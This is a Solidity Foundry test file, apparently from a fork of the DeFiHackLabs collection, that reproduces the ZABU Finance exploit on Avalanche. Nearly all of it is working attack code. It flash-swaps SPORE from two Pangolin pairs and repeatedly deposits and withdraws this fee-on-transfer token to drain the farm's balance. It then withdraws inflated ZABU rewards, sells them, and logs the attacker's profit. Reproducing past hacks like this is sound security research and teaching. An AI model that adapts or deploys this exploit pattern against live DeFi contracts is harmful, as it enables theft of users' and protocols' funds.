forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ZABU_exp.sol
191 lines (162 loc) · 7.01 KB
/
ZABU_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://slowmist.medium.com/brief-analysis-of-zabu-finance-being-hacked-44243919ea29
interface ZABUFarm{
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
}
interface PangolinRouter{
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract depositToken{
IERC20 ZABU = IERC20(0xDd453dBD253fA4E5e745047d93667Ce9DA93bbCF);
IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
IERC20 SPORE = IERC20(0x6e7f5C0b9f4432716bDd0a77a3601291b9D9e985);
Uni_Router_V2 Router = Uni_Router_V2(0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106);
ZABUFarm Farm = ZABUFarm(0xf61b4f980A1F34B55BBF3b2Ef28213Efcc6248C4);
function depositSPORE() payable external{
address(WAVAX).call{value: 1 ether}("");
address [] memory path = new address[](2);
path[0] = address(WAVAX);
path[1] = address(SPORE);
WAVAX.approve(address(Router), type(uint).max);
SPORE.approve(address(Farm), type(uint).max);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WAVAX.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
Farm.deposit(uint256(38), SPORE.balanceOf(address(this)));
}
function withdrawSPORE() external{
Farm.withdraw(uint256(38), SPORE.balanceOf(address(Farm)));
}
function sellZABU() external{
address [] memory path = new address[](2);
path[0] = address(ZABU);
path[1] = address(WAVAX);
WAVAX.approve(address(Router), type(uint).max);
ZABU.approve(address(Router), type(uint).max);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
ZABU.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
}
contract ContractTest is DSTest{
IERC20 ZABU = IERC20(0xDd453dBD253fA4E5e745047d93667Ce9DA93bbCF);
IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
IERC20 SPORE = IERC20(0x6e7f5C0b9f4432716bDd0a77a3601291b9D9e985);
IERC20 PNG = IERC20(0x60781C2586D68229fde47564546784ab3fACA982);
Uni_Router_V2 Router = Uni_Router_V2(0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106);
ZABUFarm Farm = ZABUFarm(0xf61b4f980A1F34B55BBF3b2Ef28213Efcc6248C4);
Uni_Pair_V2 PangolinPair1 = Uni_Pair_V2(0x0a63179a8838b5729E79D239940d7e29e40A0116); // SPORE WAVAX
Uni_Pair_V2 PangolinPair2 = Uni_Pair_V2(0xad24a72ffE0466399e6F69b9332022a71408f10b); // SPORE PNG
address addressContract;
uint reserve0Pair1;
uint reserve1Pair1;
uint reserve0Pair2;
uint reserve1Pair2;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("avax", 4177751);
}
function testExploit() public payable {
SPORE.approve(address(Farm), type(uint).max);
WAVAX.approve(address(Router), type(uint).max);
(reserve0Pair1, reserve1Pair1, ) = PangolinPair1.getReserves();
(reserve0Pair2, reserve1Pair2, ) = PangolinPair2.getReserves();
address(WAVAX).call{value: 2500 ether}("");
// depost SPORE
ContractFactory();
(bool success, ) = addressContract.call{value: 1 ether}(abi.encodeWithSignature("depositSPORE()"));
require(success);
// change block.number
cheats.roll(block.number + 900);
PangolinPair1.swap(SPORE.balanceOf(address(PangolinPair1)) - 1 * 1e18, 0, address(this), new bytes(1));
// change block.number
cheats.roll(block.number + 1001);
(bool success1, ) = addressContract.call(abi.encodeWithSignature("withdrawSPORE()"));
require(success1);
emit log_named_decimal_uint(
"Attacker ZABU profit after exploit",
ZABU.balanceOf(addressContract),
18
);
(bool success2, ) = addressContract.call(abi.encodeWithSignature("sellZABU()"));
require(success2);
emit log_named_decimal_uint(
"Attacker WAVAX profit after exploit",
WAVAX.balanceOf(addressContract) - 2500 * 1e18,
18
);
}
function pangolinCall(address sender, uint amount0, uint amount1, bytes calldata data) public{
if(msg.sender == address(PangolinPair1)){
PangolinPair2.swap(0, reserve1Pair2 - 1 * 1e18, address(this), new bytes(1));
// flashswap callback pair1
uint amountSPORE0 = SPORE.balanceOf(address(this));
SPORE.transfer(address(PangolinPair1), amountSPORE0);
uint SPOREInPair1 = SPORE.balanceOf(address(PangolinPair1));
uint WAVAXInPair1 = WAVAX.balanceOf(address(PangolinPair1));
uint amountWAVAX =
(reserve0Pair1 * reserve1Pair1 / ((SPOREInPair1 * 1000 - amountSPORE0 * 3 * 96 / 100) / 1000) - WAVAXInPair1) * 1000 /
997;
WAVAX.transfer(address(PangolinPair1), amountWAVAX);
}
if(msg.sender == address(PangolinPair2)){
//reduced lptoken
while(SPORE.balanceOf(address(Farm)) > 1000){
uint256 amount = SPORE.balanceOf(address(this));
if(SPORE.balanceOf(address(this)) * 6 / 100 > SPORE.balanceOf(address(Farm))){
amount = SPORE.balanceOf(address(Farm)) * 100 / 6;
}
Farm.deposit(uint256(38), amount);
Farm.withdraw(uint256(38), amount);
}
// flashswap callback pair2
uint amountSPORE1 = SPORE.balanceOf(address(this)) / 3;
SPORE.transfer(address(PangolinPair2), amountSPORE1);
uint SPOREInPari2 = SPORE.balanceOf(address(PangolinPair2));
uint PNGInPair2 = PNG.balanceOf(address(PangolinPair2));
uint amountPNG =
(reserve0Pair2 * reserve1Pair2 / ((SPOREInPari2 * 1000 - amountSPORE1 * 3 * 96 / 100) / 1000) - PNGInPair2) * 1000 / 997;
buyPNG(amountPNG);
PNG.transfer(address(PangolinPair2), PNG.balanceOf(address(this)));
}
}
function ContractFactory() public{
address _add;
bytes memory bytecode = type(depositToken).creationCode;
assembly{
_add := create2(0, add(bytecode, 32), mload(bytecode), 1)
}
addressContract = _add;
}
function buyPNG(uint amount) public{
address [] memory path = new address[](2);
path[0] = address(WAVAX);
path[1] = address(PNG);
Router.swapTokensForExactTokens(
amount,
WAVAX.balanceOf(address(this)),
path,
address(this),
block.timestamp
);
}
}